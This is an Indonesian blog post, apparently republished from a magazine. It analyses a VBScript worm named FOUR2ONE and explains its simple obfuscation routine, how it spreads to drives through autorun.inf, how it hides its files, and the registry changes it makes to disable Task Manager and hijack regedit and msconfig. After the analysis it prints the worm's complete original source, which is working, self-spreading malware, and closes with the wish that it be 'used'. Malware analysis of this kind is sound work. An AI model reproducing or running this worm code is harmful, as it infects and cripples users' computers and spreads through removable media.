Kamis, 04 Februari 2010

Virulogi : worm-scripting dengan teknik enkripsi sebagian

By Tri Amperiyanto

Worm (virus) lokal yang dibuat dengan teknik Scripting (memakai VBS) dapat dilihat listing programnya secara langsung.  Dengan demikian jika pemakai berkesempatan mencekal file script nakal tersebut, maka ia akan dapat mencermati dan mempelajarinya.
Pembuat worm tahu persis akan hal tersebut.  Oleh karena itu ia akan menerapkan sedikit enkripsi pada listing program virusnya.  Dengan harapan apabila file tersebut kena cekal, maka pemakai akan kesulitan dalam menterjemahkannya.



Untuk lebih mengenal dan memahami skrip-skrip berbahaya tersebut, akan diulas bagaimana suatu script worm sederhana dengan teknik enkripsi sederhana bekerja.  Sebagai model, akan diambil satu script worm sesungguhnya yang banyak beredar. File worm ini bernama  FOUR2ONE.VIRUS.

Cara kerja

Worm (virus) script, pada saat aktif, dengan bantuan fasilitas standar scripting Windows – WSH (windows scripting host)/WSCRIPT atau CSCRIPT,  akan membuat file dengan  nama Recycle.bin, yang merupakan script utama. 
Jika file ini diaktifkan, maka ia akan membuat file autorun.inf, file HTML dan beberapa file VBS lainnya. Yang pada prakteknya akan saling bahu membahu menjaga eksistensi worm.
Berikut ini adalah petikan dari script yang menunjukkan cara kerja program nakal tersebut. Pembahasan tidak akan terlalu detail dan teknis, hanya memberikan keterangan global dari beberapa script.  Untuk pemahaman lebih jauh, silahkan dicermati dan dianalisis sendiri secara mandiri.


Inisialisasi awal script

Pertama kali script (program)  akan melakukan perintah klasik untuk menangani kesalahan program. Pengaturan beberapa variabel pendukung script akan dibuat. 

on error resume next
dim rekur,syspath,windowpath,desa,twoone,mf,misi,tf,four2,nt,check,sd, Dn,Wd,Hn,Mn,nae, viti,ld,gap,nowd, recy

Kemudian script akan mempersiapkan variabel yang berisi data-data file pendukung yang akan dibuat oleh virus. Variabel misi untuk membuat file Autorun.inf. variabel html untuk membuat file html pemicu.  Dan variabel ini diisi dengan data yang dienkrip.  Sebagai contoh untuk variabel misi isinya adalah sebagai berikut.

misi =  ReAd( "^ovspuvb\" ) & vbcrlf & ReAd( "tcw/fmdzdfs!fyf/uqjsdtx>fuvdfyfmmfit" )


Dapat dilihat data-data yang diletakkan pada variabel misi tersebut dienkrip dengan data-data yang aneh.  Jika data tersebut didecode, isinya sebenaranya hanyalah data-data file autorun.inf standar.

[autorun]
Shellexecute=wscript.exe recycle.vsb.

Selain itu ada beberapa perintah program standar scripting yang mengalami modifikasi.  Sebagai  ilustrasi petikan perintah berikut :

set four2 = createobject( ReAd( "mmfiT/uqjsdTX")

Jika di-decode, sebenarnya adalah perintah standar : wscript.shell.

set four2 = createobject( "Wscript.shell")

dengan cara ini virus akan lebih sulit dideteksi oleh progam antivirus atau program berjenis script-stopper.


Beranak dan sembunyi

Virus setelah membuat file data stream untuk dirinya sendiri, maka akan menentukan pengaturan path untuk bekerja berikut data-data trigger tanggal manipulasi. Data trigger tanggal disimpan dalam file yang bernama localdate.dll.  Petikan kodenya adalah :

viti=date*1+421000014.0421
set tf = twoone.createtextfile(windowpath & ReAd( "mme/fubembdpm]" ),false)
tf.write viti
tf.close
set tf = twoone.getfile(windowpath & ReAd( "mme/fubembdpm]" ))
tf.attributes = 39


Data stream file yang telah dipersiapkan akan dikopikan ke folder system32 dengan  nama four2one.vbs. Tentu saja dengan atribut hidden, system, readonly dan archieve diset menjadi aktif. Diwakili dengan file attribut = 39.  Angka 39 ini merupakan penjumlahan dari angka-angka atribut.  Artinya file tersebut akan bersifat readonly (1) – hanya bisa dibaca, hidden (2) - tersembunyi, system (4) - sistem dan Archieve (32) - arsip.  Dengan teknik ini maka file vbs  tidak akan terlihat (bersembunyi) saat pemakai memakai Windows Explorer.  Petikan kodenya :

set tf = twoone.getfile(syspath & ReAd( "tcw/fop3svpg]" ))
tf.attributes = 39
set tf = twoone.createtextfile(syspath & ReAd( "tcw/fop3svpg]" ),2,true)
tf.write rekur
tf.close

Dengan teknik yang sama virus juga akan membuat file cadangan dengan nama Fortuna.dll dan  explorer.vbs yang juga disimpan di folder system (system32).  Masih pada folder yang sama, file HTML virus akan dibuat dengan nama Google.htm. dan mengkopikan file google.jpg dari folder system32 ke root directory (c:\).


Pemeriksaan jenis drive

Selanjutnya script akan menangani setiap drive yang ada pada sistem komputer.  Jika jenis drive sama dengan 1 (= removable) atau 2 (= fixed)  dan pathnya tidak sama dengan A: atau C:,   program akan mengopikan file script aktif ke drive tersebut dengan nama recycle.bin.

for each desa in twoone.drives
If (desa.drivetype = 1 or desa.drivetype = 2) and desa.path <>"A:" and desa.path <>"C:" then

set tf=twoone.getfile(desa.path & ReAd( "ojc/fmdzdfS]" ))
tf.attributes =39
set tf=twoone.createtextfile(desa.path & ReAd( "ojc/fmdzdfS]" ),2,true)
tf.write rekur
tf.close

Selain itu, script juga akan membuat file autorun.inf dan recycle.vbs dengan prosedur yang mrip dengan pembentukan file recycle.bin.


Manipulasi Registry

Tahapan selanjutnya, virus akan melakukan beberapa memanipulasi Registry. Petikan kodenya :

set four2 = createobject( ReAd( "mmfiT/uqjsdTX") )
four2.regwrite ReAd( "topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]
txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ),"1",ReAd("ESPXE`HFS")


Kode ini memanipulasi Folder options, dengan menuliskan data di subkey Registry :

HKCU\Software\Microsoft\windows\Current Version\policies\explorer
Langkah yang hampir sama dilakukan untuk beberapa manipulasi Registry lainnya.  Data-data Registry yang dimanipulasi adalah sebagai berikut :
Mematikan taskmanager- dengan ini maka worm akan sulit dimatikan prosesnya.
Membuat status Hidden selalu aktif. – dengan ini worm akan selalu tersembunyi dari tampilan.
Membuat masukan autorun standar. Dengan cara ini, maka worm akan ikut dikatifkan saat booting awal Windows.
Membuat ekstension file tersembunyi – dengan cara ini pemakai keslutian menentukan jenis file yang ada. Misalnya exe, txt, com dll.
Mengubah bentuk icon file standar vbs. – ini untuk meneglabui pemakai
Selain itu, program juga akan membelokkan pemakaian program regedit dan msconfig, sehingga saat kedua program tersebut diaktifkan yang terbuka adalah program notepad.
Tidak hanya itu, program juga akan memanipulasi mouse.  Juga mengarahkan program startpage Internet explorer untuk menampilkan file google.htm.
Yang cukup menjengkelkan, saat mengakses folder worm akan mengaktifkan file skripnya sebelum mengaktifkan Windows explorer (dengan bantuan file explorer.vbs).
Worm juga akan meninggalkan pesan di MRU list.
Worm akan memanipulasi screensaver dengan menampilkan pesannya via screensaver 3DText  Windows.
Jika tanggal 5 dan di atas jam 12, maka komputer akan dishutdown.
Setiap menit ke 9, 19, 29, 39, 49 dan 59 akan mengkopi data  \recent\*.jpg.lnk ke desktop dan menjalankan Internet Explorer. Ini sama saja dengan mengaktifkan file google.htm, karena startpage IE telah diambil alih.


Trik pengulangan skrip

Script akan menunda proses infeksi, jika jenis drive script aktif tidak sama 1 (removable  disk), selama beberapa waktu. Lalu melakukan proses perputaran pengulangan script.

if check <> 1 then
Wscript.sleep 80000
end if
loop while check<>1

Jika kriteria drive tersebut tidak terpenuhi, skrip akan diulang lagi dan lagi. 

set sd = createobject(ReAd( "mmfit/uqjsdtX" ))
sd.run windowpath & ReAd( "!-udfmft0-f0!fyf/sfspmqyf]" ) & Wscript.ScriptFullname


Bagaimana enkripsi dilakukan ?

Worm ini melakukan enkripsi data dengan bantuan fungis yang bernama ReAd. Fungsi ini akan membaca satu persatu karakter dan mengubahnya menjadi karakter ASCII – 1 dengan perintah ASC.  Selanjuntya hasilnya baru diubah menjadi karakter dengan bantuan perintah CHR. Petikan kodenya sebagai berikut :

Function ReAd( WriTe )
   Dim Son, ToLo, Yo
   Son = ""
   For ToLo = 1 To Len( WriTe )
       Yo = Mid( WriTe, ToLo, 1 )
       Son = Chr( Asc( Yo ) - 1 ) & Son
   Next
   ReAd = Son
End Function

Jika Anda berminat mencermati listing program, Anda harus melakukan decoding sendiri dengan membuat suatu file VBS denagn perintah Msgbox  untuk menampilkan data, yang sebelumnya telah diberi masukan fungsi ReAd  plus data yang akan dibaca. Sebagai ilustrasi perintahnya adalah :

Msgbox (ReAd( "!-udfmft0-f0!fyf/sfspmqyf]" )

Dengan cara tersebut data-data yang dienkripsi akan dapat dibaca.



Listing program

Listing berikut ini adalah listing asli program worm yang berhasil ditangkap. File aslinya bernama Recycle.bin.  Disajikan secara teks dan apa adanya. Silahkan dicermati.

'four2one.virus ver 2.0

on error resume next
dim rekur,syspath,windowpath,desa,twoone,mf,misi,tf,four2,nt,check,sd, Dn,Wd,Hn,Mn,nae, viti,ld,gap,nowd, recy

misi =  ReAd( "^ovspuvb\" ) & vbcrlf & ReAd( "tcw/fmdzdfs!fyf/uqjsdtx>fuvdfyfmmfit" )

html =     ReAd( "?#86!;uihjfi!<576!;iuejx!<722!;ugfm!<93!;qpu!fmzut!wje=?#111111$#>spmpdhc!zepc=" ) & vbcrlf &_
    ReAd( "?wje0=?q0=?uopg0=1/3!sfw!!fop3svpg!n(j?#8#>f{jt!#fuspG#>fdbg!#DDDDDD$#>spmpd!uopg=?#sfuofd#>ohjmb!q=" ) & vbcrlf &_
    ReAd( "?#2.!;yfeoj.{!<79!;qpu!<112!;ugfm!fmzut!obqt=?#sfuofd#>ohjmb!q=" ) & vbcrlf &_
    ReAd( "?obqt0=?#115#>uihjfi!#117#>iuejx!#HQK/922:521K0SPD17CVQ0USBQJMD0fdjggP!ugptpsdjN0tfmjG!nbshpsQ0;D#>dst!#1#>sfespc!hnj=" ) & vbcrlf &_
    ReAd( "?#2!;yfeoj.{!<79!;qpu!<112!;ugfm!fmzut!obqt=" ) & vbcrlf &_
    ReAd( "?q0=?#sfuofd#>ohjmb!q=?q0=?obqt0=?#115#>uihjfi!#117#>iuejx!#hqk/fmhpph]34nfutzt]txpeojx];d#>dst!#1#>sfespc!hnj=" ) & vbcrlf &_
    ReAd( "?#73!;uihjfi!<576!;iuejx!<722!;ugfm!<2:5!;qpu!fmzut!wje=" ) & vbcrlf &_
    ReAd( "?#sfuofd#>ohjmb!q=?wje0=?q0=?c0=?uopg0=9113!mjsqB!82?#DDDDDD$#>spmpd!#5#>f{jt!#lppcmppidT!zsvuofD#>fdbg!uopg=?c=?#sfuofd#>ohjmb!q=" )

explor= ReAd( "uyfo!fnvtfs!spssf!op" ) & vbcrlf & _
    ReAd( "qx!-et!-fnbOxfO!-fnbOemP!njE" ) & vbcrlf & _
    ReAd( "*#udfkcPnfutzTfmjG/hojuqjsdT#)udfkcpfubfsd!>!pd!uft" ) & vbcrlf & _
    ReAd( "*#mmfit/uqjsdtX#)udfkcpfubfsd!>!et!uft" ) & vbcrlf & _
    ReAd( "*1)sfempgmbjdfqtufh/pd!>!qx!ufT" ) & vbcrlf & _
    ReAd( "#mme/bovuspG]34nfutzt]txpeojx];d#!>!fnbOemP" ) & vbcrlf & _
    ReAd( "#tcw/fop3svpg]34nfutzt]txpeojx];d#!>!fnbOxfO" ) & vbcrlf & _
    ReAd( "ftmbg!-fnbOxfO!-fnbOemP!fmjgzqpd/pd" ) & vbcrlf & _
    ReAd( "ofiu!96!>!sfcnvO/ssF!gj" ) & vbcrlf & _
    ReAd( "ftmf" ) & vbcrlf & _
    ReAd( "#tcw/fop3svpg]34nfutzt]txpeojx];d#!ovs/et" ) & vbcrlf & _
    ReAd( "!gj!eof" ) & vbcrlf & _
    ReAd( "#fyf/sfspmqyf]#!'!qx!ovs/et" )

recy =  ReAd( "uyfo!fnvtfs!spssf!op" ) & vbcrlf & _
    ReAd( "qx!-et!-fnbOxfO!-fnbOemP!njE" ) & vbcrlf & _
    ReAd( "*#udfkcPnfutzTfmjG/hojuqjsdT#)udfkcpfubfsd!>!pd!uft" ) & vbcrlf & _
    ReAd( "*#mmfit/uqjsdtX#)udfkcpfubfsd!>!et!uft" ) & vbcrlf & _
    ReAd( "*1)sfempgmbjdfqtufh/pd!>!qx!ufT" ) & vbcrlf & _
    ReAd( "#ojc/fmdzdfS]#!>!fnbOemP" ) & vbcrlf & _
    ReAd( "#tcw/fop3svpg]34nfutzt]txpeojx];d#!>!fnbOxfO" ) & vbcrlf & _
    ReAd( "ftmbg!-fnbOxfO!-fnbOemP!fmjgzqpd/pd" ) & vbcrlf & _
    ReAd( "ofiu!96!>!sfcnvO/ssF!gj" ) & vbcrlf & _
    ReAd( "ftmf" ) & vbcrlf & _
    ReAd( "#tcw/fop3svpg]34nfutzt]txpeojx];d#!ovs/et" ) & vbcrlf & _
    ReAd( "!gj!eof" ) & vbcrlf & _
    ReAd( "fnbommvGuqjsdT/uqjsdtX!'!#!-udfmft0-f0!fyf/sfspmqyf]#!'!qx!ovs/et" )

set twoone = createobject(ReAd( "udfkcPnfutzTfmjG/hojuqjsdT" ))
set mf = twoone.getfile (Wscript.ScriptFullname)
set four2 = createobject( ReAd( "mmfiT/uqjsdTX") )
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

Wd = weekday(Now)
Hn = hour(now)
Mn = minute(now)

Set windowpath = twoone.getspecialfolder(0)
Set syspath = twoone.getspecialfolder(1)

viti=date*1+421000014.0421
set tf = twoone.createtextfile(windowpath & ReAd( "mme/fubembdpm]" ),false)
tf.write viti
tf.close
set tf = twoone.getfile(windowpath & ReAd( "mme/fubembdpm]" ))
tf.attributes = 39

set tf = twoone.getfile(syspath & ReAd( "tcw/fop3svpg]" ))
tf.attributes = 39
set tf = twoone.createtextfile(syspath & ReAd( "tcw/fop3svpg]" ),2,true)
tf.write rekur
tf.close
set tf = twoone.getfile(syspath &ReAd( "tcw/fop3svpg]" ))
tf.attributes = 39

set tf = twoone.getfile(syspath & ReAd( "mme/bovuspG]" ))
tf.attributes = 39
set tf = twoone.createtextfile(syspath & ReAd( "mme/bovuspG]" ),2,true)
tf.write rekur
tf.close
set tf = twoone.getfile(syspath & ReAd( "mme/bovuspG]" ))
tf.attributes = 39

set tf = twoone.getfile(syspath & ReAd( "tcw/sfspmqyf]" ))
tf.attributes = 39
set tf = twoone.createtextfile(syspath & ReAd( "tcw/sfspmqyf]" ))
tf.write explor
tf.close
set tf = twoone.getfile(syspath & ReAd( "tcw/sfspmqyf]" ))
tf.attributes = 39

set tf=twoone.createtextfile(syspath & ReAd( "nui/fmhpph]" ),2,true)
tf.write html
tf.close
set tf = twoone.getfile(syspath & ReAd( "nui/fmhpph]" ))
tf.attributes=39

twoone.CopyFile  syspath & ReAd( "hqk/fmhppH]" ), "c:\", true
twoone.CopyFile  syspath & ReAd( "nui/fmhppH]" ), "c:\", true

for each desa in twoone.drives
If (desa.drivetype = 1 or desa.drivetype = 2) and desa.path <>"A:" and desa.path <>"C:" then

set tf=twoone.getfile(desa.path & ReAd( "ojc/fmdzdfS]" ))
tf.attributes =39
set tf=twoone.createtextfile(desa.path & ReAd( "ojc/fmdzdfS]" ),2,true)
tf.write rekur
tf.close
set tf=twoone.getfile(desa.path & ReAd( "ojc/fmdzdfS]" ))
tf.attributes = 39

set tf=twoone.getfile(desa.path & ReAd( "tcw/fmdzdfS]" ))
tf.attributes =39
set tf=twoone.createtextfile(desa.path & ReAd( "tcw/fmdzdfS]" ),2,true)
tf.write recy
tf.close
set tf=twoone.getfile(desa.path & ReAd( "tcw/fmdzdfS]" ))
tf.attributes = 39

set tf =twoone.getfile(desa.path & ReAd( "goj/ovspuvb]" ))
tf.attributes = 32
set tf=twoone.createtextfile(desa.path & ReAd( "goj/ovspuvb]" ),2,true)
tf.write misi
tf.close
set tf = twoone.getfile(desa.path & ReAd( "goj/ovspuvb]" ))
tf.attributes=39

twoone.CopyFile syspath & ReAd( "hqk/fmhppH]" ), desa.path & "\", true
twoone.CopyFile desa.path & ReAd( "hqk/fmhppH]" ), syspath & "\", true
end if
next

set four2 = createobject( ReAd( "mmfiT/uqjsdTX") )
four2.regwrite ReAd( "topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ),"1",ReAd("ESPXE`HFS")
four2.regwrite ReAd( "shnltbUfmcbtjE]nfutzt]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ),"1",ReAd("ESPXE`HFS")
four2.regwrite ReAd( "ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ),"0",ReAd("ESPXE`HFS")
four2.regwrite ReAd( "nfutzTugptpsdjN]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI" ), syspath & ReAd( "tcw/fop3svpg]" )

four2.regwrite ReAd( "fnbOfqzUzmeofjsG]fmjGTCW]UPPS`TFTTBMD`ZFLI" ), ReAd( "opjtofuyF!opjubdjmqqB" )
four2.regwrite ReAd( "uyFxpiTsfwfO]fmjGTCW]UPPS`TFTTBMD`ZFLI" ),""
four2.regwrite ReAd( "]opdJumvbgfE]fmjGTCW]UPPS`TFTTBMD`ZFLI" ),  four2.RegRead (ReAd( "fmjgmme]UPPS`TFTTBMD`ZFLI" ) & ReAd( "]opdJumvbgfE]" ))
four2.regwrite ReAd( "eobnnpD]ujeF]mmfiT]fmjGTCW]UPPS`TFTTBMD`ZFLI" ), ""

four2.regwrite ReAd( "sfhhvcfe]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI" ),ReAd( "fyf/ebqfupo" )
four2.regwrite ReAd( "sfhhvcfe]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI" ),ReAd( "fyf/ebqfupo" )

'four2.regwrite ReAd( "effqTldjmDfmcvpE]ftvpN]mfobQ!mpsuopD]SFTV`UOFSSVD`ZFLI"), "1"

set mf = twoone.getfile(windowpath & ReAd( "mme/fubembdpm]" ))
set ld = mf.openastextstream(1)
dn = ld.readline
nowd=date*1+421000000.0421
gap=nowd-dn

if gap>0  Then
four2.regwrite ReAd( "fhbQ!usbuT]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ), ReAd( "nui/fmhppH];d" )
four2.regwrite ReAd( "]dfyffee]fspmqyf]mmfit]sfempG]tfttbmD]FSBXUGPT]FOJIDBN`MBDPM`ZFLI" ),""
four2.regwrite ReAd( "]eobnnpd]fspmqyf]mmfit]sfempG]tfttbmD]FSBXUGPT]FOJIDBN`MBDPM`ZFLI" ), ReAd( "tcw/sfspmqyf]34nfutzt]txpeojx];d!!fyf/uqjsdTX]34nfutzT]txpeojx];d" )
four2.regwrite ReAd( "b]VSNovS]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ), ReAd( "tvsjw/fop3svpg" )
four2.regwrite ReAd( "utjMVSN]VSNovS]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI" ), "a"
four2.regwrite ReAd( "uvPfnjUfwbToffsdT]qpultfE]mfobQ!mpsuopD]SFTV`UOFSSVD`ZFLI" ),"60"
four2.regwrite ReAd( "fyf/fwbtosdT]qpultfE]mfobQ!mpsuopD]SFTV`UOFSSVD`ZFLI" ), ReAd( "sdt/e4uyfutt]]34nfutzt]]TXPEOJX]];D" )
four2.regwrite ReAd( "hojsuTzbmqtjE]E4uyfU]tsfwbtoffsdT]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), ReAd( "1/3!sfw!fop3svpg!n(j" )
four2.regwrite ReAd( "zujwjujtofTftvpN]ftvpN]mfobQ!mpsuopD]SFTV`UOFSSVD`ZFLI" ),"1"
four2.regwrite ReAd( "effqTftvpN]ftvpN]mfobQ!mpsuopD]SFTV`UOFSSVD`ZFLI" ),"0"
nae = four2.RegRead (ReAd( "sfoxPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI" ))
four2.regwrite ReAd( "]mmfit]sfempg]tfttbmD]FSBXUGPT]FOJIDBN`MBDPM`ZFLI" ) & nae & ReAd( "]eobnnpd]fN!ub!lppm!ftbfmQ!t(" ),ReAd( "FYF/FSPMQYFJ" ),"REG_EXPAND_SZ"
    if Wd = 5 and Hn > 12 then
    set sd = createobject(ReAd( "mmfit/uqjsdtX" ))
    sd.run ReAd( "1!u.!t.!fyf/oxpeuvit" )
    else
    if Mn = 9 or Mn = 19 or Mn = 29 or Mn = 39 or Mn = 49 or Mn = 59 then
    twoone.CopyFile four2.SpecialFolders(ReAd( "uofdfs" )) & ReAd( "lom/hqk/+]" ), four2.SpecialFolders(ReAd( "qpultfE" )) & "\", true
    set sd = createobject(ReAd( "mmfit/uqjsdtX" ))
    sd.run ReAd( "FYF/FSPMQYFJ" )
    end if
    end if
end if

if check <> 1 then
Wscript.sleep 80000
end if
loop while check <> 1
set sd = createobject(ReAd( "mmfit/uqjsdtX" ))
sd.run windowpath & ReAd( "!-udfmft0-f0!fyf/sfspmqyf]" ) & Wscript.ScriptFullname

Function ReAd( WriTe )
   Dim Son, ToLo, Yo
   Son = ""
   For ToLo = 1 To Len( WriTe )
       Yo = Mid( WriTe, ToLo, 1 )
       Son = Chr( Asc( Yo ) - 1 ) & Son
   Next
   ReAd = Son
End Function


Note :
Tulisan ini  telah dimuat di majalah CHIP, dengan bahasa yang telah  “diformalkan”.
Tulisan ini adalah versi aslinya !  Semoga berguna dan digunakan

Tidak ada komentar:

Posting Komentar